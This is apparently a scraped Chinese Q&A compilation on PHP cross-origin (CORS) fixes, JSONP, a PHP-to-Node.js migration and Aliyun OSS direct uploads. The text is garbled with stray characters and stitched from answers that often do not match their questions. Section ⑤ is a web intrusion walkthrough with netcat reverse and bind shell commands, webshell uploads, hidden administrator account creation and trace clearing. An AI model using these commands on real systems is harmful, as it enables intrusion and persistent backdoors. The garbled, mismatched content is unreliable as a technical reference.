① thinkphp6解决 CORS 跨域
1，在app/middleware.php中添加
中间件，这样就改成了
*是不安全的，可冲早以在config/cookie.php配置cookie 有效域名的domain
如果接口闷判凳请求发送了token，会提示Access-Control-Allow-Headers这个问题蚂旅，tp6默认是这样
可以在'Access-Control-Allow-Headers' 这一样加上XXX-token，
我在搞这个时还遇见post请求变成get
把method改成了type
② PHP怎么上传图片路径,怎么获取图片路径
$filePath 应该是上传的临时文件吧，然后将$filePath，这个文件移动到 $uploadPath，$uploadPath，应该就 你已经上传的图片的路径！包含图片文件的名称。
③ 跨域问题解决方法
跨域？他是浏览器的 同源策略 造成的，是浏览器对javascript施加的安全限制。所谓同源是指：域名、协议、端口均相同。
解决
原理：利用标签具有可跨域的特性，可实现跨域访问接口，需要后端的支持。
服务器在收到请求陪坦后，解析参数，计算返还数据，输出messagetow（data）字符串。
缺点：只能发送get请求，无法访问服务器的响应文本（单向请求），即只能获取数据不能改数据。
通过ajax请求不同域的实现，底层不是靠XmlHttpRequest而是script，所以不要被这个方法给迷惑了。
在ajax请求中类型如果是type是get post，其实内部都只会用get，因为其跨域的原理就是用的动态加载script的src，所以我们只能把参数通过url的方式传递
其实jquery内部会转化成
http://192.168.31.137/train/test/jsonpthree?callback=messagetow
然后动态加载http://192.168.1.114/yii/demos/test.php?backfunc=jQuery2030038573939353227615_1402643146875&action=aaron">
http://192.168.1.114/yii/demos/test.php?backfunc=jQuery2030038573939353227615_1402643146875&action=aaron"><script type="text/javascript" src=" http://192.168.31.137/train/test/jsonpthree?callback=messagetow "></script>
http://192.168.1.114/yii/demos/test.php?backfunc=jQuery2030038573939353227615_1402643146875&action=aaron">
http://192.168.1.114/yii/demos/test.php?backfunc=jQuery2030038573939353227615_1402643146875&action=aaron">
Cross-Origin Resource Sharing（CORS）跨域资源共享是一份浏览器技术的规范，提供了 Web 服务从不同域传来沙盒脚本的方法，以避开浏览器的同源策略，确保安全的跨域数据传输。现代浏览器使用CORS在API容器如XMLHttpRequest来减少HTTP请求的风险来源。与 JSONP 不同，CORS 除了 GET 要求方法以外也支持其他的 HTTP 要求。服务器一般需要增加如下响应头的一种或几种：
跨域请求默认不会携带Cookie信息，如果需要携带，请配置下述参数：
window.name通过在iframe（一般动态创建i）中加载跨域HTML文件来起作用。然后，HTML文件将传递给请求者的字符串内容赋值给window.name。然后，请求者可以检索window.name值作为响应。
iframe标签的跨域能力；
window.name属性值在文档刷新后依旧存在的能力（且最大允许2M左右）。
每个iframe都有包裹它的window，而这个window是top window的子窗口。 contentWindow 属性返回<iframe>元素的Window对象。你可以使用这个Window对象来访问iframe的文档及其内部DOM。
HTML5新特性，可以用来向其他所有的 window 对象发送消息。需要注意的是我们必须要保证所有的脚本执行完才发送 MessageEvent，如果在函数执行的过程中调用了它，就会让后面的函数超时无法执行。
前提条件：这两个域名必须首迹属于同一个基础域名!而且所用的协议，端口都要一致，否者乱并则无法利用document.domain进行跨域，所以只能跨子域
在 根域 范围内，允许把domain属性的值设置为它的上一级域。例如，在”aaa.xxx.com”域内，可以把domain设置为 “xxx.com” 但不能设置为 “xxx.org” 或者”com”。
现在存在两个域名aaa.xxx.com和bbb.xxx.com。在aaa下嵌入bbb的页面，由于其document.name不一致，无法在aaa下操作bbb的js。可以在aaa和bbb下通过js将document.name = 'xxx.com';设置一致，来达到互相访问的作用。
WebSocket protocol 是HTML5一种新的协议。它实现了浏览器与服务器全双工通信，同时允许跨域通讯，是server push技术的一种很棒的实现。相关文章，请查看： WebSocket 、 WebSocket-SockJS
**需要注意：**WebSocket对象不支持DOM 2级事件侦听器，必须使用DOM 0级语法分别定义各个事件。
同源策略是针对浏览器端进行的限制，可以通过服务器端来解决该问题,例如nginx
DomainA客户端（浏览器） ==> DomainA服务器 ==> DomainB服务器 ==> DomainA客户端（浏览器）
④ php如何解决跨域问题
PHP 跨域问题的解决方法常见有以下轿旅几种：
使用历则 JSONP：肢帆棚通过动态创建 script 标签的方式，可以实现从不同的域名请求数据。
使用 CORS（跨域资源共享）：通过在服务端设置 Access-Control-Allow-Origin 响应头，来允许特定域名请求数据。
使用代理：通过代理服务器请求数据，避免了跨域问题。
使用 Nginx 反向代理：通过配置 Nginx 反向代理，来实现跨域请求。
以下是使用 CORS通过添加响应头来解决跨域问题的一个例子：
// 设置允许来自任何域名的请求
header("Access-Control-Allow-Origin: *");
// 设置允许请求方法（例如GET、POST等）
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE");
// 设置允许请求头
header("Access-Control-Allow-Headers: X-Requested-With, Content-Type");
// 如果请求是通过 AJAX 发起的，还需要在请求头中添加 X-Requested-With: XMLHttpRequest。
如果对你有所帮助，就点个赞再走吧~
⑤ web渗透是什么
Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。
信息收集
信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。
DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）
整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；
网站常见搭配为：
ASP和ASPX：ACCESS、SQLServer
PHP：MySQL、PostgreSQL
JSP：Oracle、MySQL
敏感目录信息（御剑，dirbust）
开放端口信息（nmp）
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。
常见漏洞：
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如：
Sql注入（sqlmap）
XSS（BEEF）
后台密码爆破（burp）
端口爆破（hydra）
提权
获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法：
反向连接
在公网主机上进行监听：
nc-lvp 4444
在内网主机上执行：
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行：
nc-l -p 4444 -t -e cmd.exe
本地主机上执行：
nc-vv 远程主机ip4444
成功后，本地主机即可远程主机的一个shell
然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，或者用nmap扫描存活主机及开放端口，可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马，留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工：
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。
⑥ Node.js代码转php
如果你们开发团队正在使用PHP，并考虑迁移到Node.js，这篇文章很适合你。本文并不探讨从PHP移植到Node.js的细节，以及Node.js的基础知识。而是涵盖：决策制定、着手点的描述、编写 Node.js 服务器的深层次注意事项、以及部署策略。
为什么迁移？
1stdibs 决定从 Apache/PHP 迁移到 Node.js+Express 有五个理由：
代码更少
全栈式JS
开发人员幸福度更高
投入回报率
未来的优化
代码更少
1stdibs基于面向服务体系架构（SAO），前端调用后台的Java服务。这意味着需要同时维护前端模型，以及服务端PHP和客户端JS模板。试想一下，如果可以摆脱PHP，就能够统一前端展现与后台模型于一种语言：JavaScript（同时可以合并一些模板）。从维护的角度来看，这么做代码更简洁，并且没有重复逻辑。
同构JavaScript万岁!
全栈式JS（及其优点）
整个开发栈使用一种语言很简便。对开发者来说，较少的环境切换使他们开心和高效。额外的好处是工具使用更简单。相比之前使用Composer和npm两个包管理器，现在只需要一个。尽管Composer很出色，由于nbp负责工具和客户端管理，nbp总是必要的。一旦去掉所有的PHP代码，nbp将成为仅有的包管理器。
开发人员乐意
我们要保证开发人员的技能集得到扩展、职业生涯不断发展，这一点很重要。对于JavaScript工程师而言，Node.js极具吸引力。能够在服务端使用与客户端相同的工具、风格和模式，是非常顺手和高效的。此外，Node.js相当流行，在企业级开发上也得到了长足发展。Node.js是JavaScript工程师的必备技能。
投入回报率
我们在招聘优秀的JS工程师和培训初级JS工程师方面花了大价钱。由于客户端栈很复杂，我们需要高级JavaScript工程师。我们不再雇用PHP工程师，仅仅雇用了JavaScript工程师。我们的观点是，为什么不培养他们在服务端的技能呢？
未来的优化
长远而言，我们打算把两个庞大的应用分割成一系列独立部署的小应用。这很容易通过Node.js、Express和nbp实现。理论上，PHP（比如使用Slim）可以做同样的事。但我们非但得不到上述好处，还会搞得一团糟：在Apache/PHP上进行操作会更加复杂，基础设施也会变得有些奇怪。
选择框架
那个最终被我们用Node.js替换掉的PHP应用，主要有如下职责：
登录和授权
路由选择和服务端模板引擎（服务HTML）
引导前端应用
代理服务（为了回避CORS）
服务静态资源（js，css，images）
这些就是我们需要替换掉的基本功能。
我们尝试过不少框架，Express令人叹为观止（试一下我们评估过的spreadsheet）。任何未基于Express 的框架看起来都不靠谱。Express通俗易懂，并有良好的文档。另外，可以招聘到正经培训过Express的人。
我们添加了一些kraken的核心模块（express-enrouten用于路由选择、lusca负责安全）；此外，i18n-node提供国际化支持，模板引擎使用Swig（我们后来放弃了Swig。呵呵，开源软件还是有风险的）。
我们考虑过全盘使用kraken，但是从原来的服务端php模板引擎Twig切换到Swig直截了当，还很快捷。此外，kraken里面的Dust和i18n也不讨人喜欢。
编写服务器
选好了框架，下一步该写服务器了。
使用Apache+PHP时，你不需要再写一个服务器。Apache本身就是服务器，PHP是应用。如果使用Node.js，服务器和应用是同一个。从Apache/PHP转到PHP，你需要处理一些之前自然而然使用的功能，这一点很重要。使用Apache，你（或者系统管理员）配置服务器，在PHP应用里完全不用关心Apache为你处理的那些事。Node.js却以一种不同的方式来工作。
提供静态文件服务
毋庸置疑，提供静态文件服务是Apache的核心功能。Node.js与此不同，你要在应用中配置静态文件服务。幸运的是这很简单，有良好的文档说明，并且是在Express中实现的。
日志
很多基本的Apache配置为你提供访问日志和错误日志。使用Node.js时，估计你也猜到了，同样需要在应用中配置。所幸很多优秀的开源软件包使之变得很简单。Morgan是一个基本的请求日志记录器，它配置简单，允许你把日志写到输出流（标准输出设备或文件）。如果你需要把日志写到数据库，或者有别的（更高级的）日志需求，那就试一下winston吧。
代理
我们有一个基本需求：能够代理传输客户端ajax请求到后台服务。相比于处理CORS头，代理所有来自相同域的请求要简单得多。但你要想通过代理使用webpack-dev-server（正如我们所做的），就必须在Node.js应用中处理这一问题。http-proxy是一个简单可靠的解决方案。
剩下的工作
除了上面提到的，还有一些列别的工作需要完成。我们从一个MVC应用谈起，该应用基于 CodeIgniter(CI)框架，为一系列单页应用提供服务。大部分工作就是移植：
CI控制器移植到Express路由选择器和中间件（包括登录和认证）
Twig模板引擎移植到Swig（这一步比较琐碎）
Service层数据访问（以便正常启动客户端单页应用）
上面并未列出CodeIgniter模型这一关键组件。事实上根本不用重写PHP模型！太给力了！我们的客户端应用使用Backbone模型。当然这要扩展Backbone.Model.sync，从而使之全局地工作在服务器和客户端。
部署
如果你的app规模较大，不应该一次性全部上线。可以通过渐进式部署的方式逐步上线。我们因此花费了好几周。
渐进式部署的优点：
最小化bug范围
每次在发布一部分路由及功能的同时，其他工程师可以正常进行开发
对正在进行的功能开发和改进影响最小 — 新功能可以继续发布（这可能导致重复的工作）
如果操作得当，可以快速回滚到之前的服务
NGINX很不错
该如何逐步上线呢？我们在众多的服务器中挑选了Nginx。
1
2
3
4
5
+----------+
http | |--->
Apache/PHP
request---->| Nginx
|
| |--->
Node.js
+----------+
Nginx允许你一次只“打开”一个路由（如果发现情况不妙就关掉 — 正如我们多次遇到的），这给了你很大的自由度。我们也发现打开路由的时候不用部署代码，这很有帮助。这在一周一次的发布计划里，为我们提供了一些回旋空间。
不过有一个缺点，你需要确保客户端代码同时接受旧的Apache/PHP服务器和新的Node.js服务器提供的服务。这并不可怕，不过你要把旧服务器上未优化的功能移植到新的服务器。屏住呼吸去做吧（记得写一个便利贴去清理你的技术债）。
总结
从头到尾，整个移植工作大概花费了一年。这听起来可能有点荒谬，不过这个时间表包括决策过程（比较匆忙）、基于Express写一个满足需求的核心框架、移植所有功能、逐步渐进式上线。此外，请记住，我们始终只有一两个开发者为之工作 — 并且是兼职。
如果你想尝试一下，请慎重考虑。你的团队能否受益？你的整个组织能否受益？如果你来自商业组织，请记住商业需要持续运转。你需要在商业目标和工程目标之间找到良好的平衡。
⑦ php跨域问题（cors）
ajax跨域需要用jsonp方式的，
php跨域 这个你可以用curl，
至于你那个 自己用debug看下吧！
⑧ JSP ajax跨域问题 怎么处理 原因：CORS 头缺少 'Access-Control-Allow-Origin'）。
在服务器端（如果是php的话）设置：header("Access-Control-Allow-Origin:*");
在客户端设置withCredentials:false和crossDomain
$.ajax({
type:"post",
async:true,
url:".....",//
xhrFields:{
withCredentials:false
},
crossDomain:true,
......
另外还有一种方式是通过jsonp的方式来解决，不过我没有测试成功
}
https: //blog.csdn.net/AiHuanhuan110/article/details/89475333#commentBox
https: //developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials
网页链接
网页链接
⑨ 使用金山云的phpSDK报错了，有谁知道吗T.T
目的
本教程的目录是通过三个例子介绍如何在Html表单提交直传OSS第一个例子：讲解签名在客户端（Javascript）完成，然后直接通过表单上传到OSS, 注意这个例子有安全风险，推荐使用第二个例子和第三个例子第二个例子：讲解签名在服务端（php）完成，然后直接通过表单上传到OSS第三个例子：讲解签名在服务端（php）完成, 并且服务端面设置了上传后回调。然后直接通过表单上传到OSS，OSS回调完应用服务器再返回给用户。
背景
每个用OSS的用户，都会用到上传。由于是网页上传，其中包括一些APP里面的html5页面，对上传的需求很强烈，很多人采用的做法是用户在浏览器／APP上传到应用服务器，然后应用服务器再把文件上传到OSS。
这种方法有三个缺点，
第一：上传慢，先上传到应用服务器，再上传到OSS，网络传送多了一倍，而且OSS是采用BGP带宽，能保证各地各运营商的速度。
第二：扩展性不好，如果后续用户多了，应用服务器会成为瓶颈。
第三：费用高，因为OSS上传流量是免费的。如果数据直传到OSS，不走应用服务器。那么将能省下几台应用服务器。
改进方案1：客户端用JS直接签名，然后上传到OSS示例
下面我将介绍用plupload ，在JS端签名然后直传数据到OSS的例子用户电脑浏览器测试样例：http://oss-demo.aliyuncs.com/oss-h5-upload-js-direct/index.html用手机测试该上传是否有效。二维码：可以用手机(微信，QQ，手机浏览器等）扫一扫试试（这个不是广告，只是上述网址的二维码。这为了让大家看一下这个实现能在手机端完美运行。）文件上传是上传到一个测试的公共 bucket , 会定时清理，所以不要传一些敏感及重要数据代码下载
oss-h5-upload-js-direct.tar.gz (381 K) 下载次数:1100原理
本例子的功能
1.采用plupload 直接提高表单数据(即PostObject)到OSS2.支持html5,flash,silverlight,html4 等协议上传3. 可以运行在PC浏览器，手机浏览器，微信等4.可以选择多文件上传
5.显示上传进度条
6.可以控制上传文件的大小
OSS的PostObject API细节可以参照(看不懂没有关系)：
https://docs.aliyun.com/#/pub/oss/api-reference/object&PostObjectplupload
plupload是一款简单易用且功能强大， 拥有多种上传方式，(html5, flash, silverlight, html4)等方式，会智能检测当前环境选择最适合的方式，并且会优先采用Html5， 所以不用花心思去当前的浏览器要用何种方式上传，plupload会帮您考虑好。
关键代码
因为OSS原生支持POST协议。所以只要将plupload在发送POST请求时，带上OSS签名即可。
核心代码如下：
复制代码
var uploader = new plupload.Uploader({
runtimes : 'html5,flash,silverlight,html4',browse_button : 'selectfiles',
//runtimes : 'flash',
container: document.getElementById('container'),flash_swf_url : 'lib/plupload-2.1.2/js/Moxie.swf',silverlight_xap_url : 'lib/plupload-2.1.2/js/Moxie.xap',url : host,
multipart_params: {
'Filename': '${filename}',
'key' : '${filename}',
'policy': policyBase64,
'OSSAccessKeyId': accessid,
'success_action_status' : '200', //让服务端返回200,不然，默认会返回204'signature': signature,
},
....
}
签名signature主要是对policyText进行签名，最简单的例子如下：
复制代码
var policyText = {
"expiration": "2020-01-01T12:00:00.000Z", // 设置该Policy的失效时间，超过这个失效时间之后，就没有办法通过这个policy上传文件了"conditions": [
["content-length-range", 0, 1048576000] // 设置上传文件的大小限制,如果超过了这个大小，文件上传到OSS会报错的]
}
Cors
注意：如果一定要保证bucket属性Cors设置支持POST方法。因为这个HTML直接上传到OSS，会产生跨域请求。必须在bucket属性里面设置允许跨域设置如下图：
进阶篇－应用服务器php返回签名
背景
上述例子有一个很严重的安全隐患。就是OSS AccessId/AccessKey暴露在前端页面。可以随意拿到accessid/accesskey. 这是非常不安全的做法将此例子进化，签名及上传policy从后端php代码取。
请求逻辑是：
1.客户端要上传图片时,到应用服务器取上传的policy及签名2.客户端拿到签名直接上传到OSS
示例
直接用网页访问：http://oss-demo.aliyuncs.com/oss-h5-upload-js-php/index.html用手机测试该上传是否有效。二维码：可以用手机(微信，QQ，手机浏览器等）扫一扫试试（这个不是广告，只是上述网址的二维码。这为了让大家看一下这个实现能在手机端完美运行。）文件上传是上传到一个测试的公共 bucket , 会定时清理，所以不要传一些敏感及重要数据代码下载
oss-h5-upload-js-php.tar.gz (382 K) 下载次数:600原理
设置plupload 上传参数如下：
复制代码
multipart_params: {
'key' : key + '${filename}'//后面会介绍到，key是应用服务器返回的，指定用户必须以这个前缀上传文件。
'policy': policyBase64,
'OSSAccessKeyId': accessid,
'success_action_status' : '200', //让服务端返回200,不然，默认会返回204'signature': signature,
},
js最主要是从后端取到policyBase64, 及accessid,及signature这三个变量。 往后端取这三个变量核心代码如下：
复制代码
phpUrl = './php/get.php'
xmlhttp.open( "GET", phpUrl, false );
xmlhttp.send( null );
var obj = eval ("(" + xmlhttp.responseText+ ")");host = obj['host']
policyBase64 = obj['policy']
accessid = obj['accessid']
signature = obj['signature']
expire = parseInt(obj['expire'])
key = obj['dir']
现在咱们来一起解析一下xmlhttp.responseText（这个是我设计的范围，并不一定要求是以下的格式，但是必须有signature, accessid, policy这三个值）复制代码
{"accessid":"6MKOqxGiGU4AUk44",
"host":"http://post-test.oss-cn-hangzhou.aliyuncs.com","policy":"","signature":"I2u57FWjTKqX\/AE6doIdyff151E=","expire":1446726203,"dir":"user-dir/"}
第一个变量accessid: 指的用户请求的accessid,注意单知道accessid, 对数据不会有影响。
第二个变量host: 指的是用户要往哪个域名发往上传请求。
第三个变量policy:指的是用户表单上传的策略policy, 是经过base64编码过的字符串第四个变更signature:是对上述第三个变量policy签名后的字符串第五个变量expire:指的是当前上传策略失效时间，这个变量，并不是用来发送到OSS，因为这个已经指定在policy里面，这个变量的含义，后面讲。
现在咱们分析一下policy的内容，将其解码后的内容是：
复制代码
{"expiration":"2015-11-05T20:23:23Z",
"conditions":[["content-length-range",0,1048576000],["starts-with","$key","user-dir\/"]]
这里有一个关键的地方，PolicyText指定了该Policy 上传失效的最终时间。即在这个失效时间之前，都可以利用这个policy上传文件，所以没有必要每次上传，都去后端取签名。减少后端的压力。在这里我的设计是：初始化上传时，每上传一个文件后，取一次签名。然后再上传时，将当前时间跟签名时间对比，看是签名时间是否失效了。如果失效了，就重新取一次签名，如果没有失效就不取。这里就用到了第五个变量expire核心代码如下：
复制代码
now = timestamp = Date.parse(new Date()) / 1000;[color=#000000]//可以判断当前expire是否超过了当前时间,如果超过了当前时间,就重新取一下.3s 做为缓冲[/color]
if (expire < now + 3)
{
.....
phpUrl = './php/get.php'
xmlhttp.open( "GET", phpUrl, false );
xmlhttp.send( null );
......
}
return .
再看一下上面policy 的内容比上面增加了starts-with, 这个指定此次上传的文件名，必须是user-dir开头（这个字符串，用户可以自己指定）为什么要增加这个的含义是：很多场景，一个应用一个bucket,不同用户的数据，为了防止数字覆盖，每个人上传到OSS，可以有特定的前缀。那么问题来了，那用户获取到这个policy后，是不是在失效期内，都能修改上传前缀，从而上传到别人的目录呢？所以，应用服务器可以在上传时就指定让用户传文件时，必须是某个前缀。如果用户拿到了policy他也没有办法上传别人的前缀上。保证了数据的安全性。
终级篇--应用服务器php返回签名及采用上传回调背景
当采用第二个方案后，问题来了，用户来了数据,并且上传数据后，很多场景下，应用服务器都要知道用户上传了哪些文件，文件名字，甚至如果是图片的话，图片的大小等。为此OSS开发了上传回调功能。
千万注意
上传回调功能目前只开放了两个域， 杭州跟北京（即通过oss.aliyuncs.com, oss-cn-hangzhou.aliyuncs.com, oss-cn-beijing.aliyuncs.com 这三个域名能调用上传回调）。 只有上传域名是这两个域，才能调用上传回调。
增加了请求回调后，用户的请求逻辑如下：
第一：用户先向应用服务器取到上传policy和回调设置第二：应用服务器返回上传policy和回调
第二：用户直接向OSS发送文件上传请求
第三：等文件数据上传完，OSS给用户Response前，OSS会根据用户的回调设置，请求用户的服务器。
第四：如果应用服务器返回成功，那么就返回用户成功，如果应用服务器返回失败，那么OSS也返回给用户失败。这样确保了用户上传成功的照片，应用服务器都已经收到通知了。
第五：应用服务器给OSS返回。
第六：OSS将应用服务器返回的内容返回给OSS。
上传回调功能目前只开放了两个域， 杭州跟北京（即通过oss.aliyuncs.com, oss-cn-hangzhou.aliyuncs.com, oss-cn-beijing.aliyuncs.com 这三个域名能调用上传回调）。 只有上传域名是这两个域，才能调用上传回调。
示例
示例：http://oss-demo.aliyuncs.com/oss-h5-upload-js-php-callback/index.html用手机测试该上传是否有效。二维码：可以用手机(微信，QQ，手机浏览器等）扫一扫试试（这个不是广告，只是上述网址的二维码。这为了让大家看一下这个实现能在手机端完美运行。）文件上传是上传到一个测试的公共 bucket , 会定时清理，所以不要传一些敏感及重要数据代码要添加的东西
复制代码
new_multipart_params = {
'key' : key + '${filename}',
'policy': policyBase64,
'OSSAccessKeyId': accessid,
'success_action_status' : '200', //让服务端返回200,不然，默认会返回204'callback': callbackbody,
'signature': signature,
};
上述的callbackbody 是php服务端返回的。在本例中,从后端php取到的内容如下：
复制代码
{"accessid":"6MKOqxGiGU4AUk44",
"host":"http:\/\/post-test.oss-cn-hangzhou.aliyuncs.com","policy":"","signature":"VsxOcOudxDbtNSvz93CLaXPz+4s=","expire":1446727949,
"callback":"uY29kZWQifQ==","dir":"user-dir\/"}
上面提到callbackbody, 就是上述返回结果里面的callback内容，经过base64编码后的。
解码后的内容如下：
复制代码
{"callbackUrl":"http://oss-demo.aliyuncs.com:23450","callbackHost":"oss-demo.aliyuncs.com",
"callbackBody":"filename=${object}&size=${size}&mimeType=${mimeType}&height=${imageInfo.height}&width=${imageInfo.width}","callbackBodyType":"application/x-www-form-urlencoded"}
内容的解析如下：
CallbackUrl: 指的是oss往这个机器发送的url请求。
callbackHost:指的的oss发送这个请求时，请求头部所带的Host头callbackBody: OSS请求时，发送给应用服务器的内容，可以包括文件的名字，大小，类型，如果是图片可以是图片的高度，宽度callbackBodyType: 请求发送的Content-Type
代码下载
oss-h5-upload-js-php-callback.tar.gz (412 K) 下载次数:522应用服务器
在上述有一个很重要的地方就是第四步和第五步，OSS与应用服务器交互的时候，问题1：如果我是开发者，那么我要怎么样确认请求是从OSS发送过来的呢？
答案：OSS发送请求时，会跟应用服务器构造签名。两者通过签名保证。
问题2： 这个签名是怎么做的？或者有示例代码吗？
答案：有的。我上面的例子里面是Callback应用服务器的例子是：http://oss-demo.aliyuncs.com:23450 (目前只支持linux)上面运行的代码是：
callback_app_server.py.zip (2 K) 下载次数:365运行方案，在linux下面直接执行里面的文件：
python callback_app_server.py
即可，程序自实现了一个简单的http server.
是不是很简单！！！！
总结
第一个例子：讲解如何在JS直接签名，直接表单上传到OSS oss-h5-upload-js-direct.tar.gz (381 K)
第二个例子：讲解如何在从后端PHP获取签名，然后直接表单上传到OSS oss-h5-upload-js-php.tar.gz (382 K)
第三个例子：讲解如何在从后端PHP获取签名及上传后回调。然后直接表单上传到OSS，OSS回调完应用服务器再返回给用户。 oss-h5-upload-js-php-callback.tar.gz (412 K)
⑩ IDMS系统框架
IDMS系统简称智能终端管理系统，包含智能终端的OTA及APP升模答碧级管理与智能终端的信息查询与修改。
IDMS系统的系统架构来源于 Laravel 框架。
你可以将所有路由都定义在routes/web.php中。最基本的 Lumen 路由接收一个 URI 和一个闭包：
HTTP中间件提供了一个便利的机制来过滤进入应用的HTTP请求。例如，Lumen包含了一个中间件来验证用户是否经过授权，如果用户没有经过授权，中间件会将用户重定向到登录页面，否则如果用户经过授权，中间件就会举早允许请求继续往前进入下一步操作。
当然，除了认证之外，中间件还可以被用来处理更多其它任务。比如：CORS中间件可以用于为离开站点的响应添加合适的头（跨域）；日志旦举中间件可以记录所有进入站点的请求。
所有中间件存放在 app/Http/Middleware 目录下。
将所有的请求处理逻辑都放在单个routes.php中肯定是不合理的，你也许还希望使用控制器类组织管理这些行为。控制器可以将相关的HTTP请求封装到一个类中进行处理。通常控制器存放在app/Http/Controllers目录中。
通过依赖注入获取当前HTTP请求实例，应该在控制器的构造函数或方法中对Illuminate\Http\Request类进行类型提示，当前请求实例会被服务容器自动注入：
所有路由和控制器都会返回某种被发送到用户浏览器的响应，Lumen提供了多种不同的方式来返回响应，最基本的响应就是从路由或控制器返回一个简单的字符串。